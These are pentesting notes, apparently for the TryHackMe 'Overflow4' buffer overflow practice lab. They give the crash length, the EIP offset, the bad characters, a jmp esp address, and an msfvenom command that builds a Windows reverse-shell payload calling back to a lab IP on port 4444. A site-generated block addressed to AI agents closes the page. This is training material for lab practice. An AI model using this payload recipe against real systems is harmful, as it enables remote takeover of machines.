# Overflow4

### 1. Fuzz application to find number of bytes needed to crash the application

Bytes needed to crash application: 2100

### 2. Set mona configuration

`!mona config -set workingfolder c:\mona\%p`

### 3. Find `EIP` offset

`/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100`

`!mona findmsp -distance 2100`

EIP offset: 2026

### 4. Find bad characters

`!mona bytearray -b "\x00"`

`!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>`

Bad characters: `\x00\xa9\xcd\xd4`

### 5. Find `jmp esp` instruction sets without any bad characters

`!mona jmp -r esp -cpb "\x00\xa9\xcd\xd4"`

Return address: `0x625011af`

### 6. Generate shellcode

`msfvenom -p windows/shell_reverse_tcp LHOST=10.9.141.31 LPORT=4444 EXITFUNC=thread -b "\x00\xa9\xcd\xd4" -f c`

### 7. Set `nop` sled in padding

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FEdFwVfSHT8swTJgxdEqS%2Fimage.png?alt=media\&token=09fcc41c-9e7d-4966-90fb-e1f1063dd1ae)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infintesky.gitbook.io/pentesting/buffer-overflow/tryhackme-practice/overflow4.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
